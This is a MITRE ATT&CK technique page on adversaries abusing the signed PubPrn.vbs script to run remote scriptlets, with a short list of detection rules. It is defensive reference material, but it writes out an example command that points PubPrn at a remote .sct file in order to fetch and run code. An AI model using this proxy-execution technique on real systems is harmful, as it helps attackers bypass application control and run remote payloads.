Sub-technique of T1216 System Script Proxy Execution.View on attack.mitre.org
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Rules on DetectionCode tagged with T1216.001.
| Rule | Level | Log source |
|---|---|---|
| Launch-VsDevShell.PS1 Proxy Execution | medium | windows / process_creation |
| Pubprn.vbs Proxy Execution | medium | windows / process_creation |
None recorded.
None recorded.
Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.
